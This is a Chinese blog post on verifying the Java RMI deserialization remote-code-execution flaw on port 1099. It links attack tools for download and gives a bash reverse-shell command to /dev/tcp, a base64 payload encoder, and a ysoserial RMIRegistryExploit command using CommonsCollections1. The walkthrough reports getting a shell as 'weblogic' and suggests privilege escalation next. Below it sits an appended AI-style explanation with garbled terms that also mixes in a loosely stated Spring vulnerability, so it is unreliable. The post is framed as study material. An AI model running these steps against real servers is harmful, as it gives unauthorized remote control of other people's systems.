JAVA_RMI反序列化远程命令执行漏洞验证

警告:本文所涉及内容只可用于交流学习,请勿使用本文提到的内容违反法律,本文和作者不提供任何担保!!!

一、漏洞原理

RMI是REMOTE METHODINVOCATION的简称,是J2SE的一部分,能够让程序员开发出基于JAVA的分布式应用。一个RMI对象是一个远程JAVA对象,可以从另一个JAVA虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地JAVA对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象,迫使服务器端将这个对象按任何一个存在于class path中的可序列化类来反序列化。 RMI的传输100%基于反序列化。

二、漏洞详情

1099端口是Java RMI的默认端口,RMI默认使用序列化来完成所有的交互,所以这是非常常见的漏洞。如果该端口暴露在公网上,且使用了Apache Commons Collections的漏洞版本,就可以在该服务器上执行相关命令。

工具下载链接(永久有效)

命令行工具:

链接:https://pan.baidu.com/s/1n8aVs5EjlWkR59u0XdXWbQ

提取码:6666

图形工具:

链接:https://pan.baidu.com/s/1rhHXVEeeUt2YBmZqZ_I4Cg
提取码:6666
 

三、验证漏洞

使用命令行工具验证:

这里我们尝试反弹shell.

首先在vps上面监听端口

反弹到vps上 bash -i >& /dev/tcp/ip/port 0>&1

注意:有时命令执行有效载荷Runtime.getRuntime().exec()会失败。当使用 web shell、反序列化漏洞或通过其他向量时,可能会发生这种情况。在 Base64 编码的帮助下,下面的转换器可以帮助减少这些问题。它可以通过调用 Bash 或 PowerShell 再次使管道和重定向变得更好,它还确保参数中没有空格。

base编码转换地址:https://www.jackson-t.ca/runtime-exec-payloads.html

或者本地搭建一个编码器,选择bash编码,将反弹shell命令复制进去

编码器工具:

链接:https://pan.baidu.com/s/1-xV7t-RA0qUhi8wnjT8BgQ
提取码:6666

本机cmd执行命令

把刚才经过base64编码生成的命令替换下面的“命令”。(通过漏扫设备已知改了默认端口,端口改为6200)

java cp ysoserial-master-8eb5cbfbf6-1.jar ysoserial.exploit.RMIRegistryExploit host port CommonsCollections1 "命令"

反弹shell成功,证明存在此漏洞。(获得的权限无法退格,后续可以通过提权进一步发掘)

使用图形化工具:

输入ip和端口,点击Disconn,回显框出现:“linux is Success;weblogic”,基本成功了。

在cmd命令行里输入whoami ,点击"Exeuate"。出现回显“weblogic”,存在此漏洞。

1

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
好的,我知道你的问题了。针对你提到的这个问题,我可以给你一些解释和分析。 首先,RMI(Remote Method Invocation)是Java远程调用机制的一种实现方式,它允许在不同的JVM进程之间进行Java对象的传输和远程调用。而序列(Deserialization)是将二进制数据转换为Java对象的过程。在Java中,对象的序列序列是通过ObjectInputStream和ObjectOutputStream类来实现的。 RMI远程序列RCE漏洞是指,攻击者可以通过构造恶意的序列数据,使得服务端在序列执行恶意代码,从而导致远程代码执行漏洞。这个漏洞的根本原因在于Java序列机制的设计缺陷,攻击者可以通过构造恶意的序列数据来绕过Java的安全机制,从而执行任意代码。 而Spring框架的序列远程代码执行漏洞,则是指攻击者可以通过构造恶意的序列数据,使得Spring框架在序列执行恶意代码,从而导致远程代码执行漏洞。这个漏洞的影响范围非常广泛,涵盖了Spring框架的多个版本,包括Spring MVC、Spring WebFlow、Spring Data等。 总的来说,RMI远程序列RCE漏洞和Spring框架的序列远程代码执行漏洞都是Java序列机制的设计缺陷所导致的安全漏洞。攻击者可以通过构造恶意的序列数据来绕过Java的安全机制,从而执行任意代码。因此,在开发Java应用程序时,需要注意对序列序列数据的处理,避免出现安全漏洞

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值